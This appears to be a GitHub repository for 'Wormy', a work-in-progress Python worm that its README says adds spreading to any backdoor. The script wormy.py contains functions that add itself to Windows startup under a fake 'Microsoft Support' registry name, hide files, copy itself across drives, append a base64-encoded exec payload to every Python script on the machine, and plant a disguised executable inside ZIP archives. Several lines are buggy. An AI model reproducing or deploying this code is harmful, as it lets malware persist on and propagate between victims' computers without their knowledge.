├── hahaha.jpg ├── .gitattributes ├── README.md ├── .gitignore └── wormy.py /hahaha.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D4Vinci/Wormy/HEAD/hahaha.jpg -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #Wormy - The challenge 2 | In this repo I will write some functions in python3 in my free time to add "some spreading features like worms" to any python backdoor. 3 | 4 | *After finishing I will make it a real worm* 5 | 6 | ![alt img](https://github.com/D4Vinci/Wormy/blob/master/hahaha.jpg) 7 | 8 | 9 | ## ToDo list : 10 | 1)Spread in drivers, add to startup and continuous check(✓) 11 | 12 | 2)Spread in python scripts by injecting (✓) 13 | 14 | 3)Spread in ZIP files (✓) 15 | 16 | 4)Spread in shared folders (✘) 17 | 18 | 5)Spread in lan (✘) 19 | 20 | 6)Spread in usb (✘) 21 | 22 | 7)Try to spread in p2p,skype and hangouts (✘) 23 | 24 | 8)Make a copy of itself online and use it in spreading (✘) 25 | 26 | 9)...Still thinking :D 27 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | local_settings.py 55 | 56 | # Flask instance folder 57 | instance/ 58 | 59 | # Scrapy stuff: 60 | .scrapy 61 | 62 | # Sphinx documentation 63 | docs/_build/ 64 | 65 | # PyBuilder 66 | target/ 67 | 68 | # IPython Notebook 69 | .ipynb_checkpoints 70 | 71 | # pyenv 72 | .python-version 73 | 74 | # celery beat schedule file 75 | celerybeat-schedule 76 | 77 | # dotenv 78 | .env 79 | 80 | # virtualenv 81 | venv/ 82 | ENV/ 83 | 84 | # Spyder project settings 85 | .spyderproject 86 | 87 | # Rope project settings 88 | .ropeproject 89 | 90 | # ========================= 91 | # Operating System Files 92 | # ========================= 93 | 94 | # OSX 95 | # ========================= 96 | 97 | .DS_Store 98 | .AppleDouble 99 | .LSOverride 100 | 101 | # Thumbnails 102 | ._* 103 | 104 | # Files that might appear in the root of a volume 105 | .DocumentRevisions-V100 106 | .fseventsd 107 | .Spotlight-V100 108 | .TemporaryItems 109 | .Trashes 110 | .VolumeIcon.icns 111 | 112 | # Directories potentially created on remote AFP share 113 | .AppleDB 114 | .AppleDesktop 115 | Network Trash Folder 116 | Temporary Items 117 | .apdisk 118 | 119 | # Windows 120 | # ========================= 121 | 122 | # Windows image file caches 123 | Thumbs.db 124 | ehthumbs.db 125 | 126 | # Folder config file 127 | Desktop.ini 128 | 129 | # Recycle Bin used on file shares 130 | $RECYCLE.BIN/ 131 | 132 | # Windows Installer files 133 | *.cab 134 | *.msi 135 | *.msm 136 | *.msp 137 | 138 | # Windows shortcuts 139 | *.lnk 140 | -------------------------------------------------------------------------------- /wormy.py: -------------------------------------------------------------------------------- 1 | # 2 | # Note:Most of the functions would be for windows or all of it 3 | # 4 | # Don't forget to convert it to executable & I recommend to you pyinstaller 5 | # 6 | import os,string,random,sys,glob,hashlib,zipfile 7 | from winreg import * 8 | 9 | #Get the drivers on the pc 10 | def drivers(): 11 | drivs = [] 12 | for i in string.ascii_uppercase: 13 | if os.path.isdir( i+":" ) == True: 14 | drivs.append( i+":" ) 15 | return drivs 16 | 17 | #Return a new random name for a file 18 | def fname(name): 19 | if "." not in name : 20 | return name + str(random.randint(0,100)) 21 | elif "." in name : 22 | return name.split(".")[0] + str(random.randint(0,100)) + "." + name.split(".")[1] 23 | 24 | #To make the files check each other from hash not name 25 | #Return MD5 hash of a file 26 | def md5_checksum(fi): 27 | return hashlib.md5(open(fi, 'rb').read()).hexdigest() 28 | 29 | #The script must be executable 30 | #Add each copy of the backdoor to the startup 31 | def Startup(worms): 32 | for worm in worms: 33 | hiddenPath = os.getcwd() 34 | hiddenPath = '\"' + hiddenPath + '\"' 35 | regPath = os.getcwd() 36 | regPath = regPath + r"\%s"%worm 37 | regPath = '\"' + regPath + '\"' 38 | regConnect = ConnectRegistry(None, HKEY_LOCAL_MACHINE) 39 | regKey = OpenKey(regConnect, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE) 40 | SetValueEx(regKey,"Microsoft Support part "+str(random.randint(0,100)),0, REG_SZ, r"" + regPath) 41 | #Hide the file 42 | os.system("attrib +h " + hiddenPath) 43 | 44 | #Make a copy of the backdoor 45 | def make_copy( old,new ): 46 | old_file = open( old,"rb" ) 47 | new_file = open( new,"wb" ) 48 | old_data = old_file.read() 49 | new_file.write( old_data ) 50 | old_file.close() 51 | new_file.close() 52 | 53 | #For example if we in C:\.\.\.\..etc I will be in C: 54 | def Goback(): 55 | for i in range( 0,20 ): 56 | a = os.popen("cd ..") 57 | 58 | #The script must be executable 59 | #Spread backdoor copys in the pc drivers 60 | def spread_in_drivers(): 61 | Goback() 62 | drivs = drivers() 63 | #current_driver = os.getcwd().split( ":" )[0] 64 | name = sys.argv[0] 65 | f = open( name , "rb" ) 66 | data = f.read() 67 | f.close() 68 | for driv in drivs: 69 | exist = 0 70 | os.chdir( driv ) 71 | #get all the exe files in the folder 72 | driv_files = glob.glob( "*.exe" ) 73 | for fi in driv_files: 74 | if md5_checksum( fi ) == md5_checksum( name ): 75 | exist = 1 76 | if exist == 0 : 77 | make_copy( name,fname(name) ) 78 | 79 | #[when a script moved to any other device and executed it will run our backdoor on it] 80 | #The script must be executable 81 | #Spread in the python scripts 82 | def spread_in_python(): 83 | Goback() 84 | files = [] 85 | #get all the python files in the machine 86 | for driv in drivers(): 87 | os.chdir( driv ) 88 | files = os.popen( 'dir /s /b "*.py"' ).read().split( "\n" ) 89 | for f in files: 90 | if "#--SayTheMagicWord--" not in open( f,"r" ).read() : 91 | a=open(f,"a+") 92 | a.write("\n\n\n\n#--SayTheMagicWord--\nimport base64,os;exec(base64.b64decode('{}'))".format(base64.b64encode("open('YourDailyWorm.exe','w').write('{}');os.popen('YourDailyWorm.exe')".format(open(sys.argv[0],'rb').read())))) 93 | a.close() 94 | 95 | #Clean a file data and rewrite it 96 | def replace_file( old_file,data ): 97 | f = open( old_file,"w" ) 98 | f.write(data) 99 | f.close() 100 | 101 | #The script must be executable 102 | #Spread in ZIP files 103 | def spread_in_zip(): 104 | Goback() 105 | name = sys.argv[0] 106 | files = [] 107 | #get all the ZIP files in the machine 108 | for driv in drivers(): 109 | os.chdir( driv ) 110 | files = os.popen( 'dir /s /b "*.zip"' ).read().split( "\n" ) 111 | for f in files: 112 | if "OpenMeFirst_Important.exe" not in zipfile.ZipFile(f).namelist(): 113 | #extract the ZIP file to temp folder 114 | old_zip = zipfile.ZipFile(f) 115 | old_zip.extractall("temp") 116 | os.chdir( "temp" ) 117 | #make a self copy 118 | make_copy( name,"OpenMeFirst_Important.exe" ) 119 | old_zip.close() 120 | #now make a new ZIP file with the same name 121 | new_zip = zipfile.ZipFile( os.path.basename(f),"w" ) 122 | #Add all files in temp to the new ZIP 123 | for fi in os.listdir(): 124 | new_zip.write(fi) 125 | new.close() 126 | #Now replace the original one with our copy 127 | replace_file( f,open( os.path.basename(f) ,"rb").read() ) 128 | #cleanup! 129 | os.chdir("..") 130 | os.remove("temp") 131 | 132 | #I will Continue later.. ;) 133 | --------------------------------------------------------------------------------